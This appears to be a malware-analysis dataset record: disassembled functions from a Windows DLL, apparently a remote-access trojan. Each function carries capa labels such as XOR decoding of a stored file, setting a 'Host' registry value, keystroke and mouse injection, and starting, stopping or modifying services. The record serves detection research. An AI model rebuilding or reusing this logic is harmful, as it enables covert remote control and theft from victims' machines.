joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100065c0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov dword [ebp - 0x11c], ecx
xor esi, esi
push eax
mov dword [ebp - 0x114], esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.C:_syslog.dat
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push 0x80
push 3
push esi
push 1
push connect
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x120], edi
cmp edi, 0xffffffff
je 0x10006719
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.10012436
add esp, 4
mov esi, eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test ebx, ebx
je 0x100066cd
cmp ebx, 0x40
jb 0x100066c0
movaps xmm2, xmmword [0x1002e7d0]
mov ecx, ebx
and ecx, 0x3f
mov edx, ebx
sub edx, ecx
nop
movups xmm0, xmmword [esi + eax]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [esi + eax], xmm0
movups xmm0, xmmword [esi + eax + 0x10]
pxor xmm0, xmm2
movups xmmword [esi + eax + 0x10], xmm0
movups xmm0, xmmword [esi + eax + 0x20]
pxor xmm1, xmm0
movups xmmword [esi + eax + 0x20], xmm1
movups xmm0, xmmword [esi + eax + 0x30]
pxor xmm0, xmm2
movups xmmword [esi + eax + 0x30], xmm0
add eax, 0x40
cmp eax, edx
jb 0x10006680
cmp eax, ebx
jae 0x100066cd
xor byte [eax + esi], 0x62
inc eax
cmp eax, ebx
jb 0x100066c4
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp - 0x118]
push ebx
lea eax, [edi + 1]
mov byte [edi], 0x7c
push eax
call fcn.10014120
mov ecx, dword [ebp - 0x11c]
add esp, 0xc
push esi
push edi
call fcn.10006760
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.1001246f
mov edi, dword [ebp - 0x120]
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret
Function at 0x10006af0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002f9a8
push 0x10013e80
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10032014]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov ebx, edx
mov esi, connect
mov dword [ebp - 0x24], esi
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10006b9d
lea eax, [ebp - 0x1c]
push eax
push 0x2001f
push edi
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006b9d
mov edx, dword [ebp + 0x10]
mov ecx, edx
lea ebx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006b70
sub ecx, ebx
lea eax, [ecx + 1]
push eax
push edx
push 1
push 0
push str.Host
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 1
test eax, eax
cmove edi, ecx
mov dword [ebp - 0x20], edi
mov dword [ebp - 4], 0xfffffffe
call fcn.10006bc3
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100071b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100249a5
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov eax, dword [ebp + 8]
push 0
push 0
mov dword [ebp - 0x70], ebx
push 1
mov dword [ebx], vtable.CManager.0
mov dword [ebx + 4], eax
push 0
mov dword [eax + 0xb8], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 8], eax
mov dword [ebp - 4], 0
lea esi, [ebx + 0x68]
movaps xmm0, xmmword [0x1002e7b0]
xor edi, edi
movups xmmword [ebp - 0x54], xmm0
mov dword [ebx], vtable.CScreenManager.0
movaps xmm0, xmmword [0x1002e7a0]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebx + 0x24], vtable.CCursorInfo.0
movaps xmm0, xmmword [0x1002e790]
movups xmmword [ebp - 0x34], xmm0
movaps xmm0, xmmword [0x1002e780]
movups xmmword [ebp - 0x24], xmm0
nop
mov eax, dword [ebp + edi*4 - 0x54]
push eax
push 0
mov dword [esi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
inc edi
mov dword [esi], eax
lea esi, [esi + 4]
cmp edi, 0x10
jl 0x10007250
mov byte [ebp - 4], 1
push 0x110
mov byte [ebx + 0x13], 1
mov dword [ebx + 0x18], 8
call fcn.1001243f
mov dword [ebp - 0x6c], eax
push 0
push 8
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10007d20
push 0
push 0
push 0
push 0
mov dword [ebx + 0xa8], eax
mov word [ebx + 0x10], 1
mov byte [ebx + 0x12], 0
mov byte [ebx + 0x14], 0
mov dword [ebp - 0x64], 0x10007880
mov dword [ebp - 0x60], ebx
mov byte [ebp - 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x64]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x58]
call ebx
push dword [ebp - 0x58]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [ebp - 0x68]
push 0
push 0
push 0
push 0
mov dword [eax + 0x1c], esi
mov dword [ebp - 0x64], 0x10007a20
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x64]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x58]
call ebx
push dword [ebp - 0x58]
call edi
mov eax, dword [ebp - 0x68]
mov dword [eax + 0x20], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10012425
mov esp, ebp
pop ebp
ret 4
Function at 0x10007460
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024a26
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x10032014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0xffffffffffffffff
push dword [edi + 0x1c]
mov byte [edi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi + 0xa8]
test ecx, ecx
je 0x100074b1
mov eax, dword [ecx]
push 1
call dword [eax]
mov esi, dword [ebp + 8]
push 0x110
call fcn.1001243f
mov dword [ebp + 8], eax
cmp esi, 3
jne 0x100074d3
push 1
mov dword [ebp - 4], 0
push 4
jmp 0x100074ef
cmp esi, 7
jne 0x100074e5
push 1
mov dword [ebp - 4], 1
push 8
jmp 0x100074ef
push 0
mov dword [ebp - 4], 2
push esi
mov ecx, eax
call fcn.10007d20
movzx ecx, byte [edi + 0x13]
mov dword [edi + 0xa8], eax
add eax, 4
xchg dword [eax], ecx
cmp byte [edi + 0x14], 0
mov ecx, 0x40cc0020
mov eax, dword [edi + 0xa8]
mov edx, 0xcc0020
cmove ecx, edx
add eax, 0x10
xchg dword [eax], ecx
push 0
push 0
push 0
push 0
mov dword [edi + 0x18], esi
mov byte [edi + 0x10], 1
mov dword [ebp - 0x20], 0x10007880
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x18], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x10009ba0
push 0
push 0
call fcn.10016cbf
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x1c], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007b50
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, 0x24924925
mul ecx
push esi
mov esi, ecx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
mov dword [ebp + 0xc], esi
lea eax, [esi*8]
sub eax, esi
shl eax, 2
sub ecx, eax
jne 0x10007cde
call fcn.10009d00
test esi, esi
jle 0x10007cde
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_mouse_event]
add ebx, 8
mov ecx, dword [ebx - 4]
mov eax, ecx
cmp ecx, 0x200
jb 0x10007be7
cmp ecx, 0x208
ja 0x10007be7
movzx esi, word [ebx + 6]
movzx edi, word [ebx + 4]
push esi
push edi
call dword [sym.imp.USER32.dll_SetCursorPos]
push esi
push edi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
mov esi, dword [ebp + 0xc]
mov edi, dword [sym.imp.USER32.dll_mouse_event]
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp eax, 0x201
ja 0x10007c34
je 0x10007c25
add eax, 0xffffff00
cmp eax, 5
ja case.0x10007c42.521
jmp dword [eax*4 + 0x10007ce4]
push 0
push 0
push 0
push dword [ebx]
call edx
push eax
movzx eax, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007c42.521
push 0
push 2
jmp 0x10007c09
push 0
push 0
push 0
push 0
push 2
jmp 0x10007cc5
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x10007c42.521
jmp dword [eax*4 + 0x10007cfc]
push 0
push 0
push 0
push 0
push 4
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 8
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 6
call edi
push 0
push 0
push 0
push 0
push 6
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 0x18
call edi
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10007cc5
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10007cc5
movsx eax, word [ebx + 2]
push 0
push eax
push 0
push 0
push 0x800
call edi
mov edx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
add ebx, 0x1c
sub esi, 1
mov dword [ebp + 0xc], esi
jne 0x10007ba1
pop edi
pop ebx
pop esi
pop ebp
ret 8
Function at 0x10008b30
Capabilities:
Modify service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x10008b5b
push esi
jmp dword [eax*4 + 0x10008d18]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008ba1
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008b9b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008c0a
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008c04
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10008cb4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006760
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
Function at 0x10008b62
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x10008b5b
push esi
jmp dword [eax*4 + 0x10008d18]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008ba1
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008b9b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008c0a
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008c04
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10008cb4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006760
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
Function at 0x10008bc9
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x10008b5b
push esi
jmp dword [eax*4 + 0x10008d18]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008ba1
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008b9b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008c0a
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008c04
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10008cb4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006760
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret 8
Function at 0x10008c32
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
lea ebx, [eax + 1]
mov dword [ebp - 0x24], edi
movzx eax, byte [eax]
dec eax
cmp eax, 3
ja case.default.0x10008b5b
push esi
jmp dword [eax*4 + 0x10008d18]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008ba1
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008b9b
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x10008c0a
push 0xf01ff
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x10008c04
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call ebx
push esi
call ebx
mov edi, dword [ebp - 0x24]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, edi
jmp 0x10008cf4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
jmp 0x10008cb4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10008cd4
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x10008ccd
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push ebx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008680
mov esi, eax
test esi, esi
je 0x10008d02
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0x24]
push eax
push esi
call fcn.10006760
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10012425
mov esp, ebp
pop ebp
ret 8